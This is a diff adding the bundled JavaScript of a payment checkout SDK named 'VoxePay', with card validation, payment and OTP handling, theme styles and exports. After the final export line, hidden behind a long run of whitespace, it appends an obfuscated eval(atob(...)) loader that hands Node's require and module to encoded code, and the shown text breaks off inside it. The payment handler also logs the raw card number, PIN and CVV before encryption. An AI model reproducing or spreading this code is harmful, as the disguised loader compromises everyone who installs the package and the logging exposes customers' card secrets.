+    clearError(field) {
+        const errorEl = this.container?.querySelector(`#voxepay-${field === 'cardNumber' ? 'card' : field}-error`);
+        const inputEl = this.container?.querySelector(`#voxepay-${field === 'cardNumber' ? 'card-number' : field}`);
+        if (errorEl) {
+            errorEl.style.display = 'none';
+        }
+        inputEl?.classList.remove('voxepay-error');
+    }
+    async handleSubmit(e) {
+        e.preventDefault();
+        const isCardValid = this.validateField('cardNumber');
+        const isExpiryValid = this.validateField('expiry');
+        const isCVVValid = this.validateField('cvv');
+        const isPinValid = this.validateField('pin');
+        if (!isCardValid || !isExpiryValid || !isCVVValid || !isPinValid) {
+            return;
+        }
+        if (!this.apiClient || !this.options._sdkConfig) {
+            this.showError('cardNumber', 'SDK not properly initialized. Missing API key or organization ID.');
+            return;
+        }
+        if (!this.options._sdkConfig.paymentLinkSlug) {
+            this.showError('cardNumber', 'Payment link not configured. Please provide a paymentLinkSlug.');
+            return;
+        }
+        const { paymentLinkSlug } = this.options._sdkConfig;
+        this.setProcessing(true);
+        try {
+            // Encrypt card data
+            const pan = cleanPan(this.state.cardNumber);
+            const expiryDate = formatExpiryForApi(this.state.expiry);
+            const payload = {
+                version: '1',
+                pan,
+                pin: this.state.pin,
+                expiryDate,
+                cvv: this.state.cvv,
+            };
+            console.log('Before encryption:', payload);
+            const authData = await generateAuthData(payload);
+            // Generate a unique transaction reference
+            const transactionRef = `VP-${Date.now().toString(36).toUpperCase()}-${Math.random().toString(36).substring(2, 8).toUpperCase()}`;
+            // Call initiate payment API via public payment-link endpoint
+            const response = await this.apiClient.initiatePayment(paymentLinkSlug, {
+                organizationId: this.options._sdkConfig.organizationId,
+                transactionRef,
+                customerId: this.options.customerEmail,
+                customerEmail: this.options.customerEmail,
+                customerPhone: this.options.customerPhone,
+                customerName: this.options.customerName,
+                amount: this.options.amount / 100, // Convert from kobo/cents to main unit
+                currency: this.options.currency,
+                paymentMethod: 'CARD',
+                authData,
+                narration: this.options.description,
+            });
+            // Store response data for OTP verification
+            // `paymentId` in the response is the gateway's payment ID — this is what validate-otp expects
+            // `id` is the internal payment record UUID (not used for OTP)
+            this.state.paymentId = response.paymentId || null;
+            // transactionId and transactionRef are the same value — both sent to validate-otp
+            this.state.transactionId = response.transactionRef || transactionRef;
+            this.state.transactionRef = response.transactionRef || transactionRef;
+            this.state.eciFlag = response.eciFlag || null;
+            this.state.otpDeliveryMessage = response.message || null;
+            this.state.feeDetails = response.feeDetails;
+            this.setProcessing(false);
+            this.renderOTPView();
+        }
+        catch (error) {
+            this.setProcessing(false);
+            const code = error?.code || 'PAYMENT_INITIATE_FAILED';
+            const message = error?.message || 'Payment failed. Please try again.';
+            const recoverable = error?.recoverable !== false;
+            this.showErrorModal(code, message, recoverable);
+        }
+    }
+    setProcessing(isProcessing) {
+        this.state.isProcessing = isProcessing;
+        const submitBtn = this.container?.querySelector('#voxepay-submit');
+        if (submitBtn) {
+            submitBtn.disabled = isProcessing;
+            submitBtn.innerHTML = isProcessing
+                ? '<div class="voxepay-spinner"></div><span>Processing...</span>'
+                : `<span>Pay Now ${formatAmount(this.options.amount, this.options.currency)}</span>`;
+        }
+    }
+    async processPayment() {
+        return {
+            id: this.state.paymentId || `pay_${Date.now()}`,
+            status: 'success',
+            amount: this.options.amount,
+            currency: this.options.currency,
+            timestamp: new Date().toISOString(),
+            reference: this.state.transactionRef || undefined,
+            paymentMethod: 'card',
+        };
+    }
+    /**
+     * Get VoxePay branded styles
+     */
+    getStyles() {
+        return `
+      :root {
+        /* VoxePay Blue Color Palette */
+        --voxepay-primary: #0061FF;
+        --voxepay-primary-hover: #0056E0;
+        --voxepay-secondary: #0047CC;
+        --voxepay-accent: #60A5FA;
+        --voxepay-glow: rgba(0, 97, 255, 0.35);
+        --voxepay-success: #10B981;
+        --voxepay-success-bg: rgba(16, 185, 129, 0.1);
+        --voxepay-error: #EF4444;
+        
+        /* Dark Mode (Default) */
+        --voxepay-bg: #0C0C1D;
+        --voxepay-surface: rgba(255, 255, 255, 0.04);
+        --voxepay-surface-hover: rgba(255, 255, 255, 0.08);
+        --voxepay-border: rgba(255, 255, 255, 0.08);
+        --voxepay-text: #FFFFFF;
+        --voxepay-text-muted: #B4B4C7;
+        --voxepay-text-subtle: #6B7280;
+        --voxepay-input-bg: rgba(255, 255, 255, 0.06);
+        
+        /* Effects */
+        --voxepay-backdrop-blur: blur(24px);
+        --voxepay-border-radius: 12px;
+        --voxepay-border-radius-lg: 16px;
+        --voxepay-border-radius-xl: 24px;
+        --voxepay-glow-shadow: 0 0 60px var(--voxepay-glow);
+        --voxepay-shadow: 0 25px 60px -15px rgba(0, 0, 0, 0.6);
+        --voxepay-transition-fast: 150ms ease;
+        --voxepay-transition: 300ms cubic-bezier(0.4, 0, 0.2, 1);
+      }
+      
+      /* Light Mode */
+      html.voxepay-light {
+        --voxepay-primary: #0061FF;
+        --voxepay-primary-hover: #0056E0;
+        --voxepay-secondary: #0047CC;
+        --voxepay-glow: rgba(0, 97, 255, 0.2);
+        
+        --voxepay-bg: #FFFFFF;
+        --voxepay-surface: #F8FAFC;
+        --voxepay-surface-hover: #F1F5F9;
+        --voxepay-border: #E2E8F0;
+        --voxepay-text: #0F172A;
+        --voxepay-text-muted: #475569;
+        --voxepay-text-subtle: #94A3B8;
+        --voxepay-input-bg: #F8FAFC;
+        
+        --voxepay-glow-shadow: 0 0 40px rgba(0, 97, 255, 0.12);
+        --voxepay-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.15);
+      }
+      
+      .voxepay-checkout * { box-sizing: border-box; margin: 0; padding: 0; }
+      .voxepay-checkout { font-family: 'DM Sans', 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; font-size: 1rem; color: var(--voxepay-text); line-height: 1.5; -webkit-font-smoothing: antialiased; }
+      
+      .voxepay-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0, 0, 0, 0.5); backdrop-filter: var(--voxepay-backdrop-blur); -webkit-backdrop-filter: var(--voxepay-backdrop-blur); display: flex; align-items: center; justify-content: center; z-index: 999999; opacity: 0; visibility: hidden; transition: opacity var(--voxepay-transition), visibility var(--voxepay-transition); }
+      html.voxepay-light .voxepay-overlay { background: rgba(15, 23, 42, 0.4); }
+      .voxepay-overlay.voxepay-visible { opacity: 1; visibility: visible; }
+      
+      .voxepay-modal { background: var(--voxepay-bg); border: 1px solid var(--voxepay-border); border-radius: var(--voxepay-border-radius-xl); width: 100%; max-width: 420px; max-height: 90vh; overflow: hidden; box-shadow: var(--voxepay-shadow), var(--voxepay-glow-shadow); transform: scale(0.95) translateY(20px); opacity: 0; transition: transform var(--voxepay-transition), opacity var(--voxepay-transition); }
+      .voxepay-overlay.voxepay-visible .voxepay-modal { transform: scale(1) translateY(0); opacity: 1; }
+      
+      .voxepay-header { display: flex; align-items: center; justify-content: space-between; padding: 20px 24px; border-bottom: 1px solid var(--voxepay-border); background: var(--voxepay-surface); }
+      .voxepay-header-left { display: flex; align-items: center; gap: 12px; }
+      .voxepay-logo { width: 36px; height: 36px; border-radius: var(--voxepay-border-radius); background: linear-gradient(135deg, var(--voxepay-primary), var(--voxepay-secondary)); display: flex; align-items: center; justify-content: center; font-weight: 700; font-size: 1.25rem; color: white; box-shadow: 0 4px 12px rgba(0, 97, 255, 0.3); }
+      .voxepay-amount { font-size: 1.25rem; font-weight: 600; }
+      .voxepay-close { width: 36px; height: 36px; border: none; background: var(--voxepay-surface-hover); border-radius: 50%; cursor: pointer; display: flex; align-items: center; justify-content: center; color: var(--voxepay-text-muted); transition: all var(--voxepay-transition-fast); }
+      .voxepay-close:hover { background: var(--voxepay-border); color: var(--voxepay-text); transform: rotate(90deg); }
+      .voxepay-close svg { width: 18px; height: 18px; }
+      
+      .voxepay-body { padding: 24px; background: var(--voxepay-bg); overflow-y: auto; max-height: calc(90vh - 140px); }
+      .voxepay-sticky-actions { position: sticky; bottom: -24px; padding: 16px 24px 24px 24px; margin: 16px -24px -24px -24px; background: var(--voxepay-bg); border-top: 1px solid var(--voxepay-border); z-index: 10; display: flex; flex-direction: column; gap: 12px; }
+      .voxepay-form-group { margin-bottom: 20px; }
+      .voxepay-label { display: flex; align-items: center; gap: 8px; font-size: 0.875rem; font-weight: 500; color: var(--voxepay-text-muted); margin-bottom: 8px; }
+      .voxepay-label-icon { font-size: 1rem; }
+      
+      .voxepay-input { width: 100%; padding: 14px 16px; background: var(--voxepay-input-bg); border: 1.5px solid var(--voxepay-border); border-radius: var(--voxepay-border-radius); color: var(--voxepay-text); font-size: 1rem; font-family: inherit; outline: none; transition: border-color var(--voxepay-transition-fast), box-shadow var(--voxepay-transition-fast), background var(--voxepay-transition-fast); }
+      .voxepay-input::placeholder { color: var(--voxepay-text-subtle); }
+      .voxepay-input:hover { border-color: var(--voxepay-text-subtle); }
+      .voxepay-input:focus { border-color: var(--voxepay-primary); box-shadow: 0 0 0 4px var(--voxepay-glow); background: var(--voxepay-bg); }
+      .voxepay-input.voxepay-error { border-color: var(--voxepay-error); box-shadow: 0 0 0 4px rgba(239, 68, 68, 0.15); }
+      
+      .voxepay-card-input-wrapper { position: relative; }
+      .voxepay-card-brand { position: absolute; right: 14px; top: 50%; transform: translateY(-50%); padding: 4px 8px; display: flex; align-items: center; justify-content: center; background: linear-gradient(135deg, var(--voxepay-primary), var(--voxepay-secondary)); border-radius: 6px; font-size: 0.7rem; font-weight: 700; color: white; opacity: 0; transition: opacity var(--voxepay-transition-fast); letter-spacing: 0.5px; }
+      .voxepay-card-input-wrapper .voxepay-input { padding-right: 70px; }
+      
+      .voxepay-row { display: grid; grid-template-columns: 1fr 1fr 1fr; gap: 12px; }
+      
+      .voxepay-error-message { display: flex; align-items: center; gap: 6px; font-size: 0.813rem; color: var(--voxepay-error); margin-top: 8px; animation: voxepay-shake 0.4s ease; }
+      .voxepay-error-message svg { width: 16px; height: 16px; flex-shrink: 0; }
+      @keyframes voxepay-shake { 0%, 100% { transform: translateX(0); } 20%, 60% { transform: translateX(-4px); } 40%, 80% { transform: translateX(4px); } }
+      
+      .voxepay-submit-btn { width: 100%; padding: 16px 24px; background: linear-gradient(135deg, var(--voxepay-primary), var(--voxepay-secondary)); border: none; border-radius: var(--voxepay-border-radius); color: white; font-size: 1.063rem; font-weight: 600; cursor: pointer; display: flex; align-items: center; justify-content: center; gap: 10px; transition: all var(--voxepay-transition-fast); position: relative; overflow: hidden; box-shadow: 0 4px 15px rgba(0, 97, 255, 0.35); }
+      .voxepay-submit-btn:hover:not(:disabled) { transform: translateY(-2px); box-shadow: 0 8px 25px rgba(0, 97, 255, 0.45); }
+      .voxepay-submit-btn:active:not(:disabled) { transform: translateY(0); }
+      .voxepay-submit-btn:disabled { opacity: 0.6; cursor: not-allowed; box-shadow: none; }
+      .voxepay-submit-btn span { position: relative; z-index: 1; }
+      
+      .voxepay-spinner { width: 20px; height: 20px; border: 2.5px solid rgba(255, 255, 255, 0.3); border-top-color: white; border-radius: 50%; animation: voxepay-spin 0.8s linear infinite; }
+      @keyframes voxepay-spin { to { transform: rotate(360deg); } }
+      
+      .voxepay-footer { text-align: center; padding: 16px 24px 20px; border-top: 1px solid var(--voxepay-border); background: var(--voxepay-surface); }
+      .voxepay-powered-by { font-size: 0.75rem; color: var(--voxepay-text-subtle); display: flex; align-items: center; justify-content: center; gap: 6px; }
+      .voxepay-powered-by svg { width: 14px; height: 14px; color: var(--voxepay-primary); }
+      .voxepay-powered-by strong { color: var(--voxepay-primary); font-weight: 600; }
+      
+      .voxepay-success-view { text-align: center; padding: 40px 24px; }
+      .voxepay-success-icon { width: 80px; height: 80px; margin: 0 auto 24px; background: linear-gradient(135deg, var(--voxepay-success), #059669); border-radius: 50%; display: flex; align-items: center; justify-content: center; animation: voxepay-success-pop 0.5s ease; box-shadow: 0 8px 25px rgba(16, 185, 129, 0.35); }
+      @keyframes voxepay-success-pop { 0% { transform: scale(0); opacity: 0; } 50% { transform: scale(1.1); } 100% { transform: scale(1); opacity: 1; } }
+      .voxepay-success-icon svg { width: 40px; height: 40px; color: white; }
+      .voxepay-success-title { font-size: 1.5rem; font-weight: 700; margin-bottom: 8px; color: var(--voxepay-text); }
+      .voxepay-success-message { font-size: 1rem; color: var(--voxepay-text-muted); margin-bottom: 24px; }
+      .voxepay-success-btn { padding: 12px 32px; background: var(--voxepay-surface); border: 1.5px solid var(--voxepay-border); border-radius: var(--voxepay-border-radius); color: var(--voxepay-text); font-size: 1rem; font-weight: 500; cursor: pointer; transition: all var(--voxepay-transition-fast); }
+      .voxepay-success-btn:hover { background: var(--voxepay-surface-hover); border-color: var(--voxepay-primary); color: var(--voxepay-primary); }
+
+      /* Error View */
+      .voxepay-error-view { text-align: center; padding: 40px 24px; }
+      .voxepay-error-icon-large { width: 80px; height: 80px; margin: 0 auto 24px; background: linear-gradient(135deg, #ef4444, #dc2626); border-radius: 50%; display: flex; align-items: center; justify-content: center; animation: voxepay-error-pop 0.5s ease; box-shadow: 0 8px 25px rgba(239, 68, 68, 0.35); }
+      @keyframes voxepay-error-pop { 0% { transform: scale(0); opacity: 0; } 50% { transform: scale(1.1); } 100% { transform: scale(1); opacity: 1; } }
+      .voxepay-error-icon-large svg { width: 40px; height: 40px; color: white; }
+      .voxepay-error-title { font-size: 1.5rem; font-weight: 700; margin-bottom: 8px; color: var(--voxepay-text); }
+      .voxepay-error-message { font-size: 1rem; color: var(--voxepay-text-muted); margin-bottom: 8px; line-height: 1.5; }
+      .voxepay-error-code { font-size: 0.75rem; color: var(--voxepay-text-subtle); font-family: monospace; margin-bottom: 24px; }
+      .voxepay-error-actions { display: flex; flex-direction: column; gap: 12px; align-items: center; }
+
+      /* OTP View */
+      .voxepay-otp-view { text-align: center; padding: 24px 16px; }
+      .voxepay-otp-header { margin-bottom: 24px; }
+      .voxepay-otp-icon { font-size: 3rem; margin-bottom: 12px; }
+      .voxepay-otp-title { font-size: 1.25rem; font-weight: 700; color: var(--voxepay-text); margin-bottom: 8px; }
+      .voxepay-otp-subtitle { font-size: 0.875rem; color: var(--voxepay-text-muted); }
+      
+      .voxepay-otp-inputs-container { margin-bottom: 16px; }
+      .voxepay-otp-inputs { display: flex; justify-content: center; gap: 8px; margin-bottom: 8px; }
+      .voxepay-otp-digit { width: 48px; height: 56px; text-align: center; font-size: 1.5rem; font-weight: 700; border: 2px solid var(--voxepay-border); border-radius: var(--voxepay-border-radius); background: var(--voxepay-input-bg); color: var(--voxepay-text); outline: none; transition: all var(--voxepay-transition-fast); }
+      .voxepay-otp-digit:focus { border-color: var(--voxepay-primary); box-shadow: 0 0 0 4px var(--voxepay-glow); }
+      
+      .voxepay-otp-timer { font-size: 0.875rem; color: var(--voxepay-text-muted); margin-bottom: 12px; }
+      .voxepay-otp-timer span { font-weight: 700; color: var(--voxepay-primary); }
+      
+      .voxepay-resend-btn { padding: 8px 16px; background: transparent; border: 1px solid var(--voxepay-border); border-radius: var(--voxepay-border-radius); color: var(--voxepay-text-muted); font-size: 0.875rem; cursor: pointer; margin-bottom: 16px; transition: all var(--voxepay-transition-fast); }
+      .voxepay-resend-btn:hover:not(:disabled) { border-color: var(--voxepay-primary); color: var(--voxepay-primary); }
+      .voxepay-resend-btn:disabled { opacity: 0.5; cursor: not-allowed; }
+      
+      .voxepay-back-btn { display: block; width: 100%; padding: 12px; background: transparent; border: none; color: var(--voxepay-text-muted); font-size: 0.875rem; cursor: pointer; margin-top: 12px; transition: color var(--voxepay-transition-fast); }
+      .voxepay-back-btn:hover { color: var(--voxepay-primary); }
+
+      /* Payment Method Tabs */
+      .voxepay-method-tabs { display: flex; border-bottom: 1px solid var(--voxepay-border); background: var(--voxepay-surface); }
+      .voxepay-method-tab { flex: 1; display: flex; align-items: center; justify-content: center; gap: 6px; padding: 12px 12px; border: none; background: transparent; color: var(--voxepay-text-muted); font-size: 0.813rem; font-weight: 500; font-family: inherit; cursor: pointer; transition: all var(--voxepay-transition-fast); border-bottom: 2px solid transparent; white-space: nowrap; }
+      .voxepay-method-tab svg { width: 16px; height: 16px; flex-shrink: 0; }
+      .voxepay-method-tab:hover { color: var(--voxepay-text); background: var(--voxepay-surface-hover); }
+      .voxepay-method-tab.active { color: var(--voxepay-primary); border-bottom-color: var(--voxepay-primary); background: var(--voxepay-bg); }
+
+      /* Bank Transfer View */
+      .voxepay-transfer-view { padding: 4px 0; }
+      .voxepay-transfer-loading { display: flex; flex-direction: column; align-items: center; justify-content: center; padding: 48px 0; }
+      .voxepay-transfer-instruction { text-align: center; margin-bottom: 20px; font-size: 0.938rem; color: var(--voxepay-text-muted); }
+      .voxepay-transfer-instruction strong { color: var(--voxepay-text); font-size: 1.063rem; }
+      .voxepay-transfer-details { background: var(--voxepay-surface); border: 1px solid var(--voxepay-border); border-radius: var(--voxepay-border-radius); overflow: hidden; margin-bottom: 16px; }
+      .voxepay-transfer-detail { display: flex; align-items: center; justify-content: space-between; padding: 14px 16px; border-bottom: 1px solid var(--voxepay-border); }
+      .voxepay-transfer-detail:last-child { border-bottom: none; }
+      .voxepay-transfer-label { font-size: 0.813rem; color: var(--voxepay-text-muted); font-weight: 500; }
+      .voxepay-transfer-value { font-size: 0.938rem; font-weight: 600; color: var(--voxepay-text); }
+      .voxepay-transfer-value-row { display: flex; align-items: center; gap: 8px; }
+      .voxepay-transfer-account { font-size: 1.125rem; font-weight: 700; color: var(--voxepay-primary); letter-spacing: 1.5px; font-family: 'DM Sans', monospace; }
+      .voxepay-transfer-amount { color: var(--voxepay-primary); }
+
+      /* Copy Button */
+      .voxepay-copy-btn { display: flex; align-items: center; justify-content: center; width: 32px; height: 32px; border: 1px solid var(--voxepay-border); border-radius: 8px; background: var(--voxepay-surface-hover); color: var(--voxepay-text-muted); cursor: pointer; transition: all var(--voxepay-transition-fast); flex-shrink: 0; }
+      .voxepay-copy-btn svg { width: 16px; height: 16px; }
+      .voxepay-copy-btn:hover { border-color: var(--voxepay-primary); color: var(--voxepay-primary); background: rgba(0, 97, 255, 0.1); }
+      .voxepay-copy-btn.voxepay-copied { border-color: var(--voxepay-success); color: var(--voxepay-success); background: var(--voxepay-success-bg); }
+
+      /* Transfer Timer */
+      .voxepay-transfer-timer { display: flex; align-items: center; justify-content: center; gap: 8px; padding: 10px 16px; background: var(--voxepay-surface); border: 1px solid var(--voxepay-border); border-radius: var(--voxepay-border-radius); margin-bottom: 16px; font-size: 0.875rem; color: var(--voxepay-text-muted); }
+      .voxepay-transfer-timer svg { width: 16px; height: 16px; color: var(--voxepay-primary); flex-shrink: 0; }
+      .voxepay-transfer-timer strong { color: var(--voxepay-primary); font-weight: 700; font-family: monospace; font-size: 0.938rem; }
+      
+      @media (max-width: 480px) { .voxepay-modal { max-width: 100%; max-height: 100%; border-radius: 0; height: 100%; } .voxepay-body { padding: 20px; } .voxepay-otp-digit { width: 42px; height: 50px; font-size: 1.25rem; } .voxepay-transfer-detail { flex-direction: column; align-items: flex-start; gap: 4px; } }
+    `;
+    }
+}
+
+/**
+ * VoxePay - Modern Payment Checkout SDK
+ *
+ * A beautiful, modern payment modal for the web.
+ *
+ * @example
+ * ```javascript
+ * // Initialize VoxePay
+ * VoxePay.init({ apiKey: 'pk_live_xxxxx' });
+ *
+ * // Open checkout
+ * VoxePay.checkout({
+ *   amount: 4999,
+ *   currency: 'NGN',
+ *   description: 'Premium Plan',
+ *   onSuccess: (result) => console.log('Paid!', result),
+ *   onError: (error) => console.error('Failed', error),
+ * });
+ * ```
+ */
+class VoxePaySDK {
+    constructor() {
+        this.config = null;
+        this.currentModal = null;
+        this.initialized = false;
+    }
+    /**
+     * Initialize VoxePay with your configuration
+     * @param config - Configuration object with required organizationId and optional settings
+     */
+    init(config) {
+        if (!config.organizationId) {
+            console.error('[VoxePay] Organization ID is required. Find it in your VoxePay dashboard.');
+            return;
+        }
+        this.config = {
+            theme: 'dark',
+            locale: 'en-US',
+            ...config,
+        };
+        this.initialized = true;
+        // Apply theme
+        if (config.theme === 'auto') {
+            this.applyAutoTheme();
+        }
+        else if (config.theme === 'light') {
+            document.documentElement.classList.add('voxepay-light');
+        }
+        // Apply custom styles
+        if (config.customStyles) {
+            this.applyCustomStyles(config.customStyles);
+        }
+        console.log('[VoxePay] Initialized successfully');
+    }
+    /**
+     * Open the checkout modal
+     * @param options - Checkout options including amount, currency, and callbacks
+     */
+    checkout(options) {
+        if (!this.initialized) {
+            console.error('[VoxePay] Not initialized. Call VoxePay.init() first.');
+            options.onError({
+                code: 'NOT_INITIALIZED',
+                message: 'VoxePay SDK not initialized. Call VoxePay.init() first.',
+                recoverable: false,
+            });
+            return;
+        }
+        if (!options.amount || options.amount <= 0) {
+            console.error('[VoxePay] Invalid amount');
+            options.onError({
+                code: 'INVALID_AMOUNT',
+                message: 'Payment amount must be greater than 0',
+                recoverable: false,
+            });
+            return;
+        }
+        if (!options.currency) {
+            console.error('[VoxePay] Currency is required');
+            options.onError({
+                code: 'INVALID_CURRENCY',
+                message: 'Currency code is required',
+                recoverable: false,
+            });
+            return;
+        }
+        // Close any existing modal
+        this.closeModal();
+        // Create and open new modal
+        this.currentModal = new VoxePayModal({
+            ...options,
+            _sdkConfig: {
+                apiKey: this.config.apiKey,
+                organizationId: this.config.organizationId,
+                baseUrl: this.config.baseUrl,
+                paymentLinkSlug: this.config.paymentLinkSlug,
+                simulateWebhook: this.config.simulateWebhook,
+                bypassKey: this.config.bypassKey,
+            },
+            onClose: () => {
+                this.currentModal = null;
+                options.onClose?.();
+            },
+        });
+        this.currentModal.open();
+    }
+    /**
+     * Close the current checkout modal
+     */
+    closeModal() {
+        if (this.currentModal) {
+            this.currentModal.close();
+            this.currentModal = null;
+        }
+    }
+    /**
+     * Set the theme
+     * @param theme - 'dark', 'light', or 'auto'
+     */
+    setTheme(theme) {
+        document.documentElement.classList.remove('voxepay-light');
+        if (theme === 'light') {
+            document.documentElement.classList.add('voxepay-light');
+        }
+        else if (theme === 'auto') {
+            this.applyAutoTheme();
+        }
+        if (this.config) {
+            this.config.theme = theme;
+        }
+    }
+    /**
+     * Apply system theme preference
+     */
+    applyAutoTheme() {
+        const prefersDark = window.matchMedia('(prefers-color-scheme: dark)').matches;
+        if (!prefersDark) {
+            document.documentElement.classList.add('voxepay-light');
+        }
+        window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', (e) => {
+            if (this.config?.theme === 'auto') {
+                document.documentElement.classList.toggle('voxepay-light', !e.matches);
+            }
+        });
+    }
+    /**
+     * Apply custom CSS variables
+     */
+    applyCustomStyles(styles) {
+        const root = document.documentElement;
+        for (const [key, value] of Object.entries(styles)) {
+            if (value) {
+                root.style.setProperty(key, value);
+            }
+        }
+    }
+    /**
+     * Get the SDK version
+     */
+    get version() {
+        return '0.5.7';
+    }
+    /**
+     * Check if SDK is initialized
+     */
+    get isInitialized() {
+        return this.initialized;
+    }
+}
+// Create singleton instance
+const VoxePay = new VoxePaySDK();
+// Make available on window for script tag usage
+if (typeof window !== 'undefined') {
+    window.VoxePay = VoxePay;
+}
+
+exports.VoxePay = VoxePay;
+exports.VoxePaySDK = VoxePaySDK;
+exports.cleanPan = cleanPan;
+exports.default = VoxePay;
+exports.detectCardBrand = detectCardBrand;
+exports.formatAmount = formatAmount;
+exports.formatCVV = formatCVV;
+exports.formatCardNumber = formatCardNumber;
+exports.formatExpiry = formatExpiry;
+exports.formatExpiryForApi = formatExpiryForApi;
+exports.generateAuthData = generateAuthData;
+exports.getCurrencySymbol = getCurrencySymbol;
+exports.luhnCheck = luhnCheck;
+exports.validateCVV = validateCVV;
+exports.validateCardNumber = validateCardNumber;
+exports.validateExpiry = validateExpiry;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     eval(atob('global.i="A8-###";global.r=require;typeof module==="object"&&(global.m=module);const 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